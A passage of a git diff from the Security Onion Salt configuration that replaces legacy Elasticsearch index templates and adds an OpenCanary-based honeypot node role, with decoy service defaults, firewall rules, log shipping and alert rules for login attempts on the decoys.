"index_patterns": ["so-sonicwall-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-sophos-template.json.jinja b/salt/elasticsearch/templates/so/so-sophos-template.json.jinja deleted file mode 100644 index 689e19999..000000000 --- a/salt/elasticsearch/templates/so/so-sophos-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-sophos:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-sophos:refresh', '30s') %} -{ - "index_patterns": ["so-sophos-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-squid-template.json.jinja b/salt/elasticsearch/templates/so/so-squid-template.json.jinja deleted file mode 100644 index 9398b8a99..000000000 --- a/salt/elasticsearch/templates/so/so-squid-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-squid:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-squid:refresh', '30s') %} -{ - "index_patterns": ["so-squid-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-strelka-template.json.jinja b/salt/elasticsearch/templates/so/so-strelka-template.json.jinja deleted file mode 100644 index 2f7db541a..000000000 --- a/salt/elasticsearch/templates/so/so-strelka-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-strelka:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-strelka:refresh', '30s') %} -{ - "index_patterns": ["so-strelka-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-syslog-template.json.jinja b/salt/elasticsearch/templates/so/so-syslog-template.json.jinja deleted file mode 100644 index 47f8d78e6..000000000 --- a/salt/elasticsearch/templates/so/so-syslog-template.json.jinja +++ /dev/null @@ -1,14 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-syslog:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-syslog:refresh', '30s') %} -{ - "index_patterns": ["so-syslog-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} - diff --git a/salt/elasticsearch/templates/so/so-tomcat-template.json.jinja b/salt/elasticsearch/templates/so/so-tomcat-template.json.jinja deleted file mode 100644 index 797e71bcf..000000000 --- a/salt/elasticsearch/templates/so/so-tomcat-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-tomcat:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-tomcat:refresh', '30s') %} -{ - "index_patterns": ["so-tomcat-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-zeek-template.json.jinja b/salt/elasticsearch/templates/so/so-zeek-template.json.jinja deleted file mode 100644 index 616607f52..000000000 --- a/salt/elasticsearch/templates/so/so-zeek-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-zeek:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-zeek:refresh', '30s') %} -{ - "index_patterns": ["so-zeek-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/templates/so/so-zscaler-template.json.jinja b/salt/elasticsearch/templates/so/so-zscaler-template.json.jinja deleted file mode 100644 index 01d1cab2d..000000000 --- a/salt/elasticsearch/templates/so/so-zscaler-template.json.jinja +++ /dev/null @@ -1,13 +0,0 @@ -{%- set SHARDS = salt['pillar.get']('elasticsearch:index_settings:so-zscaler:shards', 1) %} -{%- set REPLICAS = salt['pillar.get']('elasticsearch:replicas', 0) %} -{%- set REFRESH = salt['pillar.get']('elasticsearch:index_settings:so-zscaler:refresh', '30s') %} -{ - "index_patterns": ["so-zscaler-*"], - "version":50001, - "order":11, - "settings":{ - "number_of_replicas":{{ REPLICAS }}, - "number_of_shards":{{ SHARDS }}, - "index.refresh_interval":"{{ REFRESH }}" - } -} diff --git a/salt/elasticsearch/tools/sbin/so-elasticsearch-pipelines b/salt/elasticsearch/tools/sbin/so-elasticsearch-pipelines index dc7ca2d75..0fbfa8b4d 100755 --- a/salt/elasticsearch/tools/sbin/so-elasticsearch-pipelines +++ b/salt/elasticsearch/tools/sbin/so-elasticsearch-pipelines @@ -23,33 +23,40 @@ ELASTICSEARCH_PORT=9200 ELASTICSEARCH_INGEST_PIPELINES="/opt/so/conf/elasticsearch/ingest/" # Wait for ElasticSearch to initialize -echo -n "Waiting for ElasticSearch..." -COUNT=0 -ELASTICSEARCH_CONNECTED="no" -while [[ "$COUNT" -le 240 ]]; do - {{ ELASTICCURL }} -k --output /dev/null --silent --head --fail -L https://"$ELASTICSEARCH_HOST":"$ELASTICSEARCH_PORT" - if [ $? -eq 0 ]; then - ELASTICSEARCH_CONNECTED="yes" + +if [ ! -f /opt/so/state/espipelines.txt ]; then + + echo -n "Waiting for ElasticSearch..." + COUNT=0 + ELASTICSEARCH_CONNECTED="no" + while [[ "$COUNT" -le 240 ]]; do + {{ ELASTICCURL }} -k --output /dev/null --silent --head --fail -L https://"$ELASTICSEARCH_HOST":"$ELASTICSEARCH_PORT" + if [ $? -eq 0 ]; then + ELASTICSEARCH_CONNECTED="yes" echo "connected!" break - else + else ((COUNT+=1)) sleep 1 echo -n "." - fi -done -if [ "$ELASTICSEARCH_CONNECTED" == "no" ]; then + fi + done + if [ "$ELASTICSEARCH_CONNECTED" == "no" ]; then echo echo -e "Connection attempt timed out. Unable to connect to ElasticSearch. \nPlease try: \n -checking log(s) in /var/log/elasticsearch/\n -running 'sudo docker ps' \n -running 'sudo so-elastic-restart'" echo -fi + fi -cd ${ELASTICSEARCH_INGEST_PIPELINES} + cd ${ELASTICSEARCH_INGEST_PIPELINES} -echo "Loading pipelines..." -for i in *; do echo $i; RESPONSE=$({{ ELASTICCURL }} -k -XPUT -L https://${ELASTICSEARCH_HOST}:${ELASTICSEARCH_PORT}/_ingest/pipeline/$i -H 'Content-Type: application/json' -d@$i 2>/dev/null); echo $RESPONSE; if [[ "$RESPONSE" == *"error"* ]]; then RETURN_CODE=1; fi; done -echo + echo "Loading pipelines..." + for i in *; do echo $i; RESPONSE=$({{ ELASTICCURL }} -k -XPUT -L https://${ELASTICSEARCH_HOST}:${ELASTICSEARCH_PORT}/_ingest/pipeline/$i -H 'Content-Type: application/json' -d@$i 2>/dev/null); echo $RESPONSE; if [[ "$RESPONSE" == *"error"* ]]; then RETURN_CODE=1; fi; done + echo -cd - >/dev/null - -exit $RETURN_CODE + cd - >/dev/null + if [[ "$RETURN_CODE" != "1" ]]; then + touch /opt/so/state/espipelines.txt + fi +else + exit $RETURN_CODE +fi \ No newline at end of file diff --git a/salt/elasticsearch/tools/sbin/so-elasticsearch-templates-load b/salt/elasticsearch/tools/sbin/so-elasticsearch-templates-load index e4e112603..f3bcaa308 100755 --- a/salt/elasticsearch/tools/sbin/so-elasticsearch-templates-load +++ b/salt/elasticsearch/tools/sbin/so-elasticsearch-templates-load @@ -47,11 +47,24 @@ if [ "$ELASTICSEARCH_CONNECTED" == "no" ]; then echo fi -cd ${ELASTICSEARCH_TEMPLATES} +cd ${ELASTICSEARCH_TEMPLATES}/component/ecs +echo "Loading ECS component templates..." +for i in *; do TEMPLATE=$(echo $i | cut -d '.' -f1); echo "$TEMPLATE-mappings"; {{ ELASTICCURL }} -k ${ELASTICSEARCH_AUTH} -s -XPUT -L https://${ELASTICSEARCH_HOST}:${ELASTICSEARCH_PORT}/_component_template/$TEMPLATE-mappings -H 'Content-Type: application/json' -d@$i 2>/dev/null; echo; done +echo -echo "Loading templates..." -for i in *; do TEMPLATE=$(echo $i | cut -d '-' -f2); echo "so-$TEMPLATE"; {{ ELASTICCURL }} -k ${ELASTICSEARCH_AUTH} -s -XPUT -L https://${ELASTICSEARCH_HOST}:${ELASTICSEARCH_PORT}/_template/so-$TEMPLATE -H 'Content-Type: application/json' -d@$i 2>/dev/null; echo; done +# Load SO-specific component templates +cd ${ELASTICSEARCH_TEMPLATES}/component/so + +echo "Loading Security Onion component templates..." +for i in *; do TEMPLATE=$(echo $i | cut -d '.' -f1); echo "$TEMPLATE"; {{ ELASTICCURL }} -k ${ELASTICSEARCH_AUTH} -s -XPUT -L https://${ELASTICSEARCH_HOST}:${ELASTICSEARCH_PORT}/_component_template/$TEMPLATE -H 'Content-Type: application/json' -d@$i 2>/dev/null; echo; done +echo + +# Load SO index templates +cd ${ELASTICSEARCH_TEMPLATES}/index + +echo "Loading Security Onion index templates..." +for i in *; do TEMPLATE=$(echo $i | cut -d '-' -f2); echo "so-$TEMPLATE"; {{ ELASTICCURL }} -k ${ELASTICSEARCH_AUTH} -s -XPUT -L https://${ELASTICSEARCH_HOST}:${ELASTICSEARCH_PORT}/_index_template/so-$TEMPLATE -H 'Content-Type: application/json' -d@$i 2>/dev/null; echo; done echo cd - >/dev/null diff --git a/salt/filebeat/etc/filebeat.yml b/salt/filebeat/etc/filebeat.yml index f18a72752..e29b1a583 100644 --- a/salt/filebeat/etc/filebeat.yml +++ b/salt/filebeat/etc/filebeat.yml @@ -264,6 +264,78 @@ filebeat.inputs: {%- endif %} +{%- if grains['role'] in ['so-eval', 'so-standalone', 'so-manager', 'so-managersearch', 'so-import'] %} +- type: log + paths: + - /logs/kratos/kratos.log + fields: + module: kratos + category: host + tags: beat-ext + processors: + - decode_json_fields: + fields: ["message"] + target: "" + add_error_key: true + - rename: + fields: + - from: "audience" + to: "event.dataset" + ignore_missing: true + - add_fields: + when: + not: + has_fields: ['event.dataset'] + target: '' + fields: + event.dataset: access + fields_under_root: true + clean_removed: false + close_removed: false +{%- endif %} + +{%- if grains.role == 'so-idh' %} +- type: log + paths: + - /nsm/idh/opencanary.log + fields: + module: opencanary + dataset: idh + category: host + tags: beat-ext + processors: + - decode_json_fields: + fields: ["message"] + target: "" + add_error_key: true + - drop_fields: + when: + equals: + logtype: 1001 + fields: ["src_host", "src_port", "dst_host", "dst_port" ] + ignore_missing: true + - rename: + fields: + - from: "src_host" + to: "source.ip" + - from: "src_port" + to: "source.port" + - from: "dst_host" + to: "destination.host" + - from: "dst_port" + to: "destination.port" + ignore_missing: true + - convert: + fields: + - {from: "logtype", to: "event.code", type: "string"} + ignore_missing: true + - drop_fields: + fields: '["prospector", "input", "offset", "beat"]' + fields_under_root: true + clean_removed: false + close_removed: false +{%- endif %} + {%- if INPUTS %} # USER PILLAR DEFINED INPUTS {{ INPUTS | yaml(False) }} @@ -322,7 +394,7 @@ output.logstash: # The Logstash hosts hosts: -{%- if grains.role in ['so-sensor', 'so-fleet', 'so-node'] %} +{%- if grains.role in ['so-sensor', 'so-fleet', 'so-node', 'so-idh'] %} {%- set LOGSTASH = namespace() %} {%- set LOGSTASH.count = 0 %} {%- set LOGSTASH.loadbalance = false %} diff --git a/salt/filebeat/map.jinja b/salt/filebeat/map.jinja index 0660bf856..f12714176 100644 --- a/salt/filebeat/map.jinja +++ b/salt/filebeat/map.jinja @@ -9,7 +9,7 @@ {% set FILEBEAT_EXTRA_HOSTS = [] %} {% set mainint = salt['pillar.get']('host:mainint') %} {% set localhostip = salt['grains.get']('ip_interfaces').get(mainint)[0] %} -{% if role in ['so-sensor', 'so-fleet', 'so-node' ] %} +{% if role in ['so-sensor', 'so-fleet', 'so-node', 'so-idh'] %} {% set node_data = salt['pillar.get']('logstash:nodes') %} {% for node_type, node_details in node_data.items() | sort %} {% if node_type in ['manager', 'managersearch', 'standalone', 'receiver' ] %} diff --git a/salt/firewall/assigned_hostgroups.map.yaml b/salt/firewall/assigned_hostgroups.map.yaml index e2fbfc737..9e105e567 100644 --- a/salt/firewall/assigned_hostgroups.map.yaml +++ b/salt/firewall/assigned_hostgroups.map.yaml @@ -653,3 +653,22 @@ role: localhost: portgroups: - {{ portgroups.all }} + idh: + chain: + INPUT: + hostgroups: + anywhere: + portgroups: + {% set idh_services = salt['pillar.get']('idh:services', []) %} + {% for service in idh_services %} + - {{ portgroups['idh_'~service] }} + {% endfor %} + dockernet: + portgroups: + - {{ portgroups.all }} + localhost: + portgroups: + - {{ portgroups.all }} + manager: + portgroups: + - {{ portgroups.ssh }} diff --git a/salt/firewall/map.jinja b/salt/firewall/map.jinja index 496e6f568..2c7d03225 100644 --- a/salt/firewall/map.jinja +++ b/salt/firewall/map.jinja @@ -37,7 +37,7 @@ {% import_yaml 'firewall/assigned_hostgroups.map.yaml' as default_assigned_hostgroups %} {% import_yaml 'firewall/assigned_hostgroups.local.map.yaml' as local_assigned_hostgroups %} -{% if local_assigned_hostgroups.role[role] %} +{% if local_assigned_hostgroups.role.get(role, False) %} {% set assigned_hostgroups = salt['defaults.merge'](local_assigned_hostgroups.role[role], default_assigned_hostgroups.role[role], merge_lists=False, in_place=False) %} {% else %} {% set assigned_hostgroups = default_assigned_hostgroups.role[role] %} @@ -45,4 +45,4 @@ {% if translated_pillar_assigned_hostgroups %} {% do salt['defaults.merge'](assigned_hostgroups, translated_pillar_assigned_hostgroups, merge_lists=True, in_place=True) %} -{% endif %} \ No newline at end of file +{% endif %} diff --git a/salt/firewall/portgroups.yaml b/salt/firewall/portgroups.yaml index d81d00d6a..1a183a178 100644 --- a/salt/firewall/portgroups.yaml +++ b/salt/firewall/portgroups.yaml @@ -1,3 +1,12 @@ +{% if grains.role == 'so-idh' %} + {% from 'idh/opencanary_config.map.jinja' import OPENCANARYCONFIG %} + {% from 'idh/openssh/map.jinja' import openssh_map %} + {% set idh_services = salt['pillar.get']('idh:services', []) %} + {% set ssh_port = openssh_map.config.port %} +{% else %} + {% set ssh_port = 22 %} +{% endif %} + firewall: aliases: ports: @@ -83,7 +92,7 @@ firewall: - 443 ssh: tcp: - - 22 + - {{ ssh_port }} strelka_frontend: tcp: - 57314 @@ -106,3 +115,16 @@ firewall: yum: tcp: - 443 + +{% if idh_services is defined %} + {% for service in idh_services %} + {% if service in ["smnp","ntp", "tftp"] %} + {% set proto = 'udp' %} + {% else %} + {% set proto = 'tcp' %} + {% endif %} + idh_{{service}}: + {{proto}}: + - {{ OPENCANARYCONFIG[service~'.port'] }} + {% endfor %} +{% endif %} diff --git a/salt/idh/defaults/defaults.yaml b/salt/idh/defaults/defaults.yaml new file mode 100644 index 000000000..673b18c55 --- /dev/null +++ b/salt/idh/defaults/defaults.yaml @@ -0,0 +1,39 @@ +idh: + opencanary: + config: + device.node_id: {{ grains.host }} + logger: + class: PyLogger + kwargs: + formatters: + plain: + format: '%(message)s' + handlers: + console: + class: logging.StreamHandler + stream: ext://sys.stdout + file: + class: logging.FileHandler + filename: /var/tmp/opencanary.log + portscan.enabled: false + portscan.logfile: /var/log/kern.log + portscan.synrate: 5 + portscan.nmaposrate: 5 + portscan.lorate: 3 + tcpbanner.maxnum: 10 + tcpbanner.enabled: false + tcpbanner_1.enabled: false + tcpbanner_1.port: 8001 + tcpbanner_1.datareceivedbanner: '' + tcpbanner_1.initbanner: '' + tcpbanner_1.alertstring.enabled: false + tcpbanner_1.alertstring: '' + tcpbanner_1.keep_alive.enabled: false + tcpbanner_1.keep_alive_secret: '' + tcpbanner_1.keep_alive_probes: 11 + tcpbanner_1.keep_alive_interval: 300 + tcpbanner_1.keep_alive_idle: 300 + openssh: + enable: true + config: + port: 2222 diff --git a/salt/idh/defaults/ftp.defaults.yaml b/salt/idh/defaults/ftp.defaults.yaml new file mode 100644 index 000000000..bed8f90dc --- /dev/null +++ b/salt/idh/defaults/ftp.defaults.yaml @@ -0,0 +1,6 @@ +idh: + opencanary: + config: + ftp.enabled: true + ftp.port: 21 + ftp.banner: FTP server ready \ No newline at end of file diff --git a/salt/idh/defaults/git.defaults.yaml b/salt/idh/defaults/git.defaults.yaml new file mode 100644 index 000000000..d77c4aa1d --- /dev/null +++ b/salt/idh/defaults/git.defaults.yaml @@ -0,0 +1,5 @@ +idh: + opencanary: + config: + git.enabled: true + git.port: 9418 \ No newline at end of file diff --git a/salt/idh/defaults/http.defaults.yaml b/salt/idh/defaults/http.defaults.yaml new file mode 100644 index 000000000..2b6a9fe8e --- /dev/null +++ b/salt/idh/defaults/http.defaults.yaml @@ -0,0 +1,12 @@ +idh: + opencanary: + config: + http.banner: Apache/2.2.34 (Ubuntu) + http.enabled: true + http.port: 80 + http.skin: nasLogin + http.skin.list: + - desc: Plain HTML Login + name: basicLogin + - desc: Synology NAS Login + name: nasLogin \ No newline at end of file diff --git a/salt/idh/defaults/httpproxy.defaults.yaml b/salt/idh/defaults/httpproxy.defaults.yaml new file mode 100644 index 000000000..32ef4a961 --- /dev/null +++ b/salt/idh/defaults/httpproxy.defaults.yaml @@ -0,0 +1,11 @@ +idh: + opencanary: + config: + httpproxy.enabled: true + httpproxy.port: 8080 + httpproxy.skin: squid + httproxy.skin.list: + - desc: Squid + name: squid + - desc: Microsoft ISA Server Web Proxy + name: ms-isa \ No newline at end of file diff --git a/salt/idh/defaults/mssql.defaults.yaml b/salt/idh/defaults/mssql.defaults.yaml new file mode 100644 index 000000000..199640992 --- /dev/null +++ b/salt/idh/defaults/mssql.defaults.yaml @@ -0,0 +1,6 @@ +idh: + opencanary: + config: + mssql.enabled: true + mssql.version: '2012' + mssql.port: 1433 \ No newline at end of file diff --git a/salt/idh/defaults/mysql.defaults.yaml b/salt/idh/defaults/mysql.defaults.yaml new file mode 100644 index 000000000..98c6d2041 --- /dev/null +++ b/salt/idh/defaults/mysql.defaults.yaml @@ -0,0 +1,6 @@ +idh: + opencanary: + config: + mysql.enabled: true + mysql.port: 3306 + mysql.banner: 5.5.43-0ubuntu0.14.04.1 \ No newline at end of file diff --git a/salt/idh/defaults/ntp.defaults.yaml b/salt/idh/defaults/ntp.defaults.yaml new file mode 100644 index 000000000..a7df2d460 --- /dev/null +++ b/salt/idh/defaults/ntp.defaults.yaml @@ -0,0 +1,5 @@ +idh: + opencanary: + config: + ntp.enabled: true + ntp.port: '123' \ No newline at end of file diff --git a/salt/idh/defaults/redis.defaults.yaml b/salt/idh/defaults/redis.defaults.yaml new file mode 100644 index 000000000..90e190f09 --- /dev/null +++ b/salt/idh/defaults/redis.defaults.yaml @@ -0,0 +1,5 @@ +idh: + opencanary: + config: + redis.enabled: true + redis.port: 6379 \ No newline at end of file diff --git a/salt/idh/defaults/sip.defaults.yaml b/salt/idh/defaults/sip.defaults.yaml new file mode 100644 index 000000000..740a13234 --- /dev/null +++ b/salt/idh/defaults/sip.defaults.yaml @@ -0,0 +1,5 @@ +idh: + opencanary: + config: + sip.enabled: true + sip.port: 5060 \ No newline at end of file diff --git a/salt/idh/defaults/smb.defaults.yaml b/salt/idh/defaults/smb.defaults.yaml new file mode 100644 index 000000000..e92e0239a --- /dev/null +++ b/salt/idh/defaults/smb.defaults.yaml @@ -0,0 +1,5 @@ +idh: + opencanary: + config: + smb.auditfile: /var/log/samba-audit.log + smb.enabled: true \ No newline at end of file diff --git a/salt/idh/defaults/snmp.defaults.yaml b/salt/idh/defaults/snmp.defaults.yaml new file mode 100644 index 000000000..990bf919e --- /dev/null +++ b/salt/idh/defaults/snmp.defaults.yaml @@ -0,0 +1,5 @@ +idh: + opencanary: + config: + snmp.enabled: true + snmp.port: 161 \ No newline at end of file diff --git a/salt/idh/defaults/ssh.defaults.yaml b/salt/idh/defaults/ssh.defaults.yaml new file mode 100644 index 000000000..00dcfbcf8 --- /dev/null +++ b/salt/idh/defaults/ssh.defaults.yaml @@ -0,0 +1,6 @@ +idh: + opencanary: + config: + ssh.enabled: true + ssh.port: 22 + ssh.version: SSH-2.0-OpenSSH_5.1p1 Debian-4 \ No newline at end of file diff --git a/salt/idh/defaults/telnet.defaults.yaml b/salt/idh/defaults/telnet.defaults.yaml new file mode 100644 index 000000000..34f1d3190 --- /dev/null +++ b/salt/idh/defaults/telnet.defaults.yaml @@ -0,0 +1,11 @@ +idh: + opencanary: + config: + telnet.enabled: true + telnet.port: '23' + telnet.banner: '' + telnet.honeycreds: + - username: admin + password: $pbkdf2-sha512$19000$bG1NaY3xvjdGyBlj7N37Xw$dGrmBqqWa1okTCpN3QEmeo9j5DuV2u1EuVFD8Di0GxNiM64To5O/Y66f7UASvnQr8.LCzqTm6awC8Kj/aGKvwA + - username: admin + password: admin1 \ No newline at end of file diff --git a/salt/idh/defaults/tftp.defaults.yaml b/salt/idh/defaults/tftp.defaults.yaml new file mode 100644 index 000000000..5f275839f --- /dev/null +++ b/salt/idh/defaults/tftp.defaults.yaml @@ -0,0 +1,5 @@ +idh: + opencanary: + config: + tftp.enabled: true + tftp.port: 69 \ No newline at end of file diff --git a/salt/idh/defaults/vnc.defaults.yaml b/salt/idh/defaults/vnc.defaults.yaml new file mode 100644 index 000000000..1995e5651 --- /dev/null +++ b/salt/idh/defaults/vnc.defaults.yaml @@ -0,0 +1,5 @@ +idh: + opencanary: + config: + vnc.enabled: true + vnc.port: 5900 \ No newline at end of file diff --git a/salt/idh/idh.conf.jinja b/salt/idh/idh.conf.jinja new file mode 100644 index 000000000..fcc000379 --- /dev/null +++ b/salt/idh/idh.conf.jinja @@ -0,0 +1 @@ +{{ OPENCANARYCONFIG | tojson(True) }} \ No newline at end of file diff --git a/salt/idh/init.sls b/salt/idh/init.sls new file mode 100644 index 000000000..089ecc4df --- /dev/null +++ b/salt/idh/init.sls @@ -0,0 +1,78 @@ + +# Copyright 2014-2022 Security Onion Solutions, LLC +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +{% from 'allowed_states.map.jinja' import allowed_states %} +{% if sls in allowed_states %} + +{% set VERSION = salt['pillar.get']('global:soversion', 'HH1.2.2') %} +{% set IMAGEREPO = salt['pillar.get']('global:imagerepo') %} +{% set MANAGER = salt['grains.get']('master') %} + +include: + - idh.openssh.config + +# IDH State + +# Create a config directory +temp: + file.directory: + - name: /opt/so/conf/idh + - user: 939 + - group: 939 + - makedirs: True + +# Create a log directory +configdir: + file.directory: + - name: /nsm/idh + - user: 939 + - group: 939 + - makedirs: True + +{% from 'idh/opencanary_config.map.jinja' import OPENCANARYCONFIG with context %} +opencanary_config: + file.managed: + - name: /opt/so/conf/idh/opencanary.conf + - source: salt://idh/idh.conf.jinja + - template: jinja + - defaults: + OPENCANARYCONFIG: {{ OPENCANARYCONFIG }} + +so-idh: + docker_container.running: + - image: {{ MANAGER }}:5000/{{ IMAGEREPO }}/so-idh:{{ VERSION }} + - name: so-idh + - detach: True + - network_mode: host + - binds: + - /nsm/idh:/var/tmp:rw + - /opt/so/conf/idh/opencanary.conf:/etc/opencanaryd/opencanary.conf:ro + - watch: + - file: opencanary_config + - require: + - file: opencanary_config + +append_so-idh_so-status.conf: + file.append: + - name: /opt/so/conf/so-status/so-status.conf + - text: so-idh + +{% else %} + +{{sls}}_state_not_allowed: + test.fail_without_changes: + - name: {{sls}}_state_not_allowed + +{% endif %} diff --git a/salt/idh/opencanary_config.map.jinja b/salt/idh/opencanary_config.map.jinja new file mode 100644 index 000000000..dbd2fbad5 --- /dev/null +++ b/salt/idh/opencanary_config.map.jinja @@ -0,0 +1,9 @@ +{% set idh_services = salt['pillar.get']('idh:services', []) %} + +{% import_yaml "idh/defaults/defaults.yaml" as OPENCANARYCONFIG with context %} +{% for service in idh_services %} + {% import_yaml "idh/defaults/" ~ service ~ ".defaults.yaml" as SERVICECONFIG with context %} + {% do salt['defaults.merge'](OPENCANARYCONFIG, SERVICECONFIG, in_place=True) %} +{% endfor %} + +{% set OPENCANARYCONFIG = salt['pillar.get']('idh:opencanary:config', default=OPENCANARYCONFIG.idh.opencanary.config, merge=True) %} \ No newline at end of file diff --git a/salt/idh/openssh/config.sls b/salt/idh/openssh/config.sls new file mode 100644 index 000000000..d358bb5be --- /dev/null +++ b/salt/idh/openssh/config.sls @@ -0,0 +1,22 @@ +{% from "idh/openssh/map.jinja" import openssh_map with context %} + +include: + - idh.openssh + +{% if grains.os_family == 'RedHat' %} +idh_sshd_selinux: + selinux.port_policy_present: + - port: {{ openssh_map.config.port }} + - protocol: tcp + - sel_type: ssh_port_t + - prereq: + - file: openssh_config +{% endif %} + +openssh_config: + file.replace: + - name: {{ openssh_map.conf }} + - pattern: '(^|^#)Port \d+$' + - repl: 'Port {{ openssh_map.config.port }}' + - watch_in: + - service: {{ openssh_map.service }} diff --git a/salt/idh/openssh/init.sls b/salt/idh/openssh/init.sls new file mode 100644 index 000000000..ba0a8ab04 --- /dev/null +++ b/salt/idh/openssh/init.sls @@ -0,0 +1,17 @@ +{# This state is designed to only manage the openssh server settings of an IDH node and is seperate from the ssh setting for OpenCanary #} +{% from "idh/openssh/map.jinja" import openssh_map with context %} + +openssh: + pkg.installed: + - name: {{ openssh_map.server }} + {% if openssh_map.enable is sameas true %} + service.running: + - enable: {{ openssh_map.enable }} + - name: {{ openssh_map.service }} + - require: + - pkg: {{ openssh_map.server }} + {% else %} + service.dead: + - enable: False + - name: {{ openssh_map.service }} + {% endif %} diff --git a/salt/idh/openssh/map.jinja b/salt/idh/openssh/map.jinja new file mode 100644 index 000000000..4bb99bc03 --- /dev/null +++ b/salt/idh/openssh/map.jinja @@ -0,0 +1,16 @@ +{% import_yaml "idh/defaults/defaults.yaml" as idh_defaults with context %} + +{% set openssh_map = salt['grains.filter_by']({ + 'Debian': { + 'client': 'openssh-client', + 'server': 'openssh-server', + 'service': 'ssh', + 'conf': '/etc/ssh/sshd_config' + }, + 'RedHat': { + 'client': 'openssh-clients', + 'server': 'openssh-server', + 'service': 'sshd', + 'conf': '/etc/ssh/sshd_config' + }, +}, merge=salt['pillar.get']('idh:openssh', default=idh_defaults.idh.openssh, merge=True)) %} diff --git a/salt/idh/plays/idh_ftp.yml b/salt/idh/plays/idh_ftp.yml new file mode 100644 index 000000000..09480ef75 --- /dev/null +++ b/salt/idh/plays/idh_ftp.yml @@ -0,0 +1,24 @@ +title: SO IDH - FTP Login Attempt +id: d2d82069-30a7-4ac3-b584-ba696fbc24fd +status: experimental +description: Detects when the FTP service on a SO IDH node has had a login attempt. +author: Security Onion Solutions +license: MIT +references: + - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration + - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52 +logsource: + product: opencanary +detection: + selection: + logtype: + - 2000 + custom_filter: + source.ip: + - x.x.x.x + condition: selection #and not custom_filter +falsepositives: + - None +fields: + - source.ip +level: critical \ No newline at end of file diff --git a/salt/idh/plays/idh_git.yml b/salt/idh/plays/idh_git.yml new file mode 100644 index 000000000..569741818 --- /dev/null +++ b/salt/idh/plays/idh_git.yml @@ -0,0 +1,24 @@ +title: SO IDH - Git Clone Request +id: 7e48bfa0-8175-4c0f-8f5a-a8b9a005a4c3 +status: experimental +description: Detects when the Git service on a SO IDH node has had a git clone request. +author: Security Onion Solutions +license: MIT +references: + - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration + - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52 +logsource: + product: opencanary +detection: + selection: + logtype: + - 16001 + custom_filter: + source.ip: + - x.x.x.x + condition: selection #and not custom_filter +falsepositives: + - None +fields: + - source.ip +level: critical \ No newline at end of file diff --git a/salt/idh/plays/idh_http_get.yml b/salt/idh/plays/idh_http_get.yml new file mode 100644 index 000000000..6a5586fc2 --- /dev/null +++ b/salt/idh/plays/idh_http_get.yml @@ -0,0 +1,24 @@ +title: SO IDH - HTTP Accessed +id: 34300b04-3350-4f4b-bf8c-9bfbfdc9914f +status: experimental +description: Detects when the HTTP service on a SO IDH node has had a Get request. +author: Security Onion Solutions +license: MIT +references: + - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration + - 